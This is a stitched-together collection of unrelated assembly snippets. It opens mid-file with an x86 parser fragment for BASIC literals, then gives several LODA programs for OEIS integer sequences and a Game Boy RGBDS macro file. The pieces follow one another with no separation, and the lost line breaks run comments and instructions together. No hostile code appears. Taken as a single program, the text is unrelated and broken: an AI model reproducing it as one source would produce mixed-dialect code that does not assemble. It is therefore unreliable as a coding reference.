;emit it call ScanTok ;consume token mov al,PR_GoodSyntax ;return PR_GoodSyntax NtLitI2Exit: or al,al ;set condition codes for caller ret NtLitI2Ov: mov ax,ER_OV ;Overflow jmp PErrMsg_AX ;al = PR_BadSyntax ; return to caller NtLitI2 ENDP ;********************************************************************** ; PARSE_RESULT NEAR NtLit0() - Parse the literal 0, emit nothing ;****************************************************************** PUBLIC NtLit0 NtLit0 PROC NEAR sub cx,cx ;expect constant 0 NtLit1Shared: sub al,al ;prepare to return PR_NotFound mov bx,[pTokScan] ;bx points to current token cmp [bx.TOK_class],CL_lit jne NtLit0Exit ;branch if token isn't a literal cmp [bx.TOK_lit_type],ET_I2 jne NtLit0Exit ;brif token isn't a signed 16 bit int cmp [bx.TOK_lit_value_I2],cx jne NtLit0Exit ;branch if token isn't 0 call ScanTok ;consume token mov al,PR_GoodSyntax ;return PR_GoodSyntax NtLit0Exit: ret NtLit0 ENDP ;********************************************************************** ; PARSE_RESULT NEAR NtLit1() - Parse the literal 1, emit nothing ;****************************************************************** PUBLIC NtLit1 NtLit1 PROC NEAR mov cx,1 ;expect constant 1 jmp SHORT NtLit1Shared NtLit1 ENDP ;********************************************************************** ; PARSE_RESULT NEAR NtLitString() - Parse a string literal ;****************************************************************** cProc NtLitString <PUBLIC,NODATA,NEAR> cBegin NtLitString sub al,al ;prepare to return PR_NotFound mov bx,[pTokScan] ;bx points to current token cmp [bx.TOK_lit_type],ET_SD jne NtLitStringExit ;branch if token isn't string constant call NtLit ;ax = result of parsing the string NtLitStringExit: cEnd NtLitString sEnd CP end
; A036117: a(n) = 2^n mod 11. ; 1,2,4,8,5,10,9,7,3,6,1,2,4,8,5,10,9,7,3,6,1,2,4,8,5,10,9,7,3,6,1,2,4,8,5,10,9,7,3,6,1,2,4,8,5,10,9,7,3,6,1,2,4,8,5,10,9,7,3,6,1,2,4,8,5,10,9,7,3,6,1,2,4,8,5,10,9,7,3,6,1,2,4,8,5,10,9,7,3,6,1,2,4,8,5,10,9,7,3,6,1,2,4,8,5,10,9,7,3,6,1,2,4,8,5,10,9,7,3,6,1,2,4,8,5,10,9,7,3,6,1,2,4,8,5,10,9,7,3,6,1,2,4,8,5,10,9,7,3,6,1,2,4,8,5,10,9,7,3,6,1,2,4,8,5,10,9,7,3,6,1,2,4,8,5,10,9,7,3,6,1,2,4,8,5,10,9,7,3,6,1,2,4,8,5,10,9,7,3,6,1,2,4,8,5,10,9,7,3,6,1,2,4,8,5,10,9,7,3,6,1,2,4,8,5,10,9,7,3,6,1,2,4,8,5,10,9,7,3,6,1,2,4,8,5,10,9,7,3,6 mov $1,1 mov $2,$0 lpb $2,1 mul $1,2 mod $1,11 sub $2,1 lpe
; A205376: Ordered differences of distinct odd squares, stored in triangle. ; 8,24,16,48,40,24,80,72,56,32,120,112,96,72,40,168,160,144,120,88,48,224,216,200,176,144,104,56,288,280,264,240,208,168,120,64,360,352,336,312,280,240,192,136,72,440,432,416,392,360,320,272,216,152 add $0,1 mov $1,1 lpb $0,1 sub $0,$1 lpb $0,1 add $0,1 add $2,$1 sub $1,1 lpe add $1,$2 add $1,1 lpe sub $1,2 mul $1,8 add $1,8
; A014125: Bisection of A001400. ; 1,3,6,11,18,27,39,54,72,94,120,150,185,225,270,321,378,441,511,588,672,764,864,972,1089,1215,1350,1495,1650,1815,1991,2178,2376,2586,2808,3042,3289,3549,3822,4109,4410,4725,5055,5400,5760,6136,6528,6936,7361,7803,8262,8739,9234,9747,10279,10830,11400,11990,12600,13230,13881,14553,15246,15961,16698,17457,18239,19044,19872,20724,21600,22500,23425,24375,25350,26351,27378,28431,29511,30618,31752,32914,34104,35322,36569,37845,39150,40485,41850,43245,44671,46128,47616,49136,50688,52272,53889,55539 mov $2,4 add $2,$0 add $0,2 bin $2,$0 sub $2,1 mul $0,$2 div $0,9
TRAMPOLINE: MACRO ;\1 = jump address ld b, BANK(\1) ld hl, \1 call Trampoline ENDM PUSH_VAR: MACRO ;\1 = WRAM address ld a, [\1] push af ENDM POP_VAR: MACRO ;\1 = WRAM address pop af ld [\1], a ENDM ;Debug messages can contain expressions between %%. ;When enabled in the settings, whenever a debug message is encountered in the code, it will be logged to the debug messages window or log file. ;Debug messages also support ternary operators in the form: "%boolean expression%text if true;text if false;". DEBUG_LOG_STRING: MACRO; \1 = string ld d, d jr .end\@ dw $6464 dw $0000 db \1,0 .end\@: ENDM DEBUG_LOG_ADDRESS: MACRO; \1 = address, \2 = bank ld d, d jr .end\@ dw $6464 dw $0001 db \1 dw \2 .end\@: ENDM DEBUG_LOG_LABEL: MACRO; \1 = label DEBUG_LOG_ADDRESS \1, BANK(\1) ENDM SET_LCD_INTERRUPT: MACRO ;\1 = interrupt address di ld b, ~IEF_LCDC ld a, [rIE] and a, b ld [rIE], a xor a ld [rSTAT], a ld hl, rLCDInterrupt ld bc, \1 ld a, b ld [hli], a ld a, c ld [hl], a ld b, IEF_LCDC ld a, [rIE] or a, b ld [rIE], a ld a, STATF_LYC ld [rSTAT], a ei ENDM DISABLE_LCD_INTERRUPT: MACRO di ld b, ~IEF_LCDC ld a, [rIE] and a, b ld [rIE], a xor a ld [rSTAT], a ld hl, rLCDInterrupt ld bc, EndLCDInterrupt ld a, b ld [hli], a ld a, c ld [hl], a ei ENDM HIDE_ALL_SPRITES: MACRO xor a ld b, 40 ld hl, oam_buffer .loop\@ ld [hli], a ld [hli], a inc hl inc hl dec b jr nz, .loop\@ ENDM CLEAR_SCREEN: MACRO ;\1 = tile ld a, \1 call ClearScreen ENDM CLEAR_BKG_AREA: MACRO ;x, y, w, h, tile ld a, \5 ld bc, \3 * \4 ld hl, tile_buffer call mem_Set ld d, \1 ld e, \2 ld h, \3 ld l, \4 ld bc, tile_buffer call gbdk_SetBkgTiles ENDM CLEAR_WIN_AREA: MACRO ;x, y, w, h, tile ld a, \5 ld bc, \3 * \4 ld hl, tile_buffer call mem_Set ld d, \1 ld e, \2 ld h, \3 ld l, \4 ld bc, tile_buffer call gbdk_SetWinTiles ENDM UPDATE_INPUT_AND_JUMP_TO_IF_BUTTONS: MACRO ; \1=address, \2=buttons call UpdateInput JUMP_TO_IF_BUTTONS \1, \2 ENDM JUMP_TO_IF_BUTTONS: MACRO ; \1=address, \2=buttons ld a, [last_button_state] and a jr nz, .skip\@ ld a, [button_state] and \2 jp nz, \1 .skip\@ ENDM EXITABLE_DELAY: MACRO ; \1=address, \2=buttons, \3=frames ld a, \3 .loop\@ push af UPDATE_INPUT_AND_JUMP_TO_IF_BUTTONS .jump\@, \2 call gbdk_WaitVBL pop af dec a jr nz, .loop\@ jr .exit\@ .jump\@ pop af jp \1 .exit\@ ENDM WAITPAD_UP: MACRO .loop\@ call gbdk_WaitVBL call UpdateInput ld a, [last_button_state] and a jr nz, .loop\@ ENDM WAITPAD_UP_OR_FRAMES: MACRO ; \1=frames ld a, \1 .loop\@ push af;frames call gbdk_WaitVBL call UpdateInput ld a, [last_button_state] and a jr z, .exit\@ pop af;frames dec a jr nz, .loop\@ push af;frames .exit\@ pop af;frames ENDM SET_DEFAULT_PALETTE: MACRO ld hl, rBGP ld [hl], DMG_PAL_BDLW ld hl, rOBP0 ld [hl], DMG_PAL_BDLW ld hl, rOBP1 ld [hl], DMG_PAL_DLWW ENDM RGB: MACRO ;\1 = red, \2 = green, \3 = blue DW (\3 << 10 | \2 << 5 | \1) ENDM D24: MACRO ;\1 = 24 bit number DB (\1 & $FF0000) >> 16 DB (\1 & $00FF00) >> 8 DB (\1 & $0000FF) ENDM BETWEEN: MACRO; if \1 <= a < \2 IF \1 > \2 PRINTT "ERROR: LOWER BOUND CAN'T BE HIGHER THAN UPPER BOUND." ELIF \1 < 0 && \2 >= 0 cp 128 jr c, .positive\@ cp \1 jr nc, .true\@ jr .false\@ .positive\@ cp \2 jr c, .true\@ jr .false\@ ELSE cp \1 jr c, .false\@ cp \2 jr nc, .false\@ jr .true\@ ENDC .false\@ xor a jr .end\@ .true\@ ld a, 1 and a .end\@ ENDM
; A319995: Number of divisors of n of the form 6*k + 5. ; 0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,2,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,0,1,0,2,0,0,1,1,1,0,0,0,0,2,1,0,1,1,2,1,0,0,0,1,0,2,0,0,1,0,1,1,0,2,0,1,1,1,1,0,1,0,1,2,0,0,0,1,1 add $0,1 mov $2,$0 lpb $0 mov $3,$2 mov $4,$0 cmp $4,0 add $0,$4 dif $3,$0 cmp $3,$2 cmp $3,0 mul $3,$0 sub $0,1 add $5,1 lpb $5 add $1,1 add $5,$3 mod $5,6 lpe trn $5,3 lpe mov $0,$1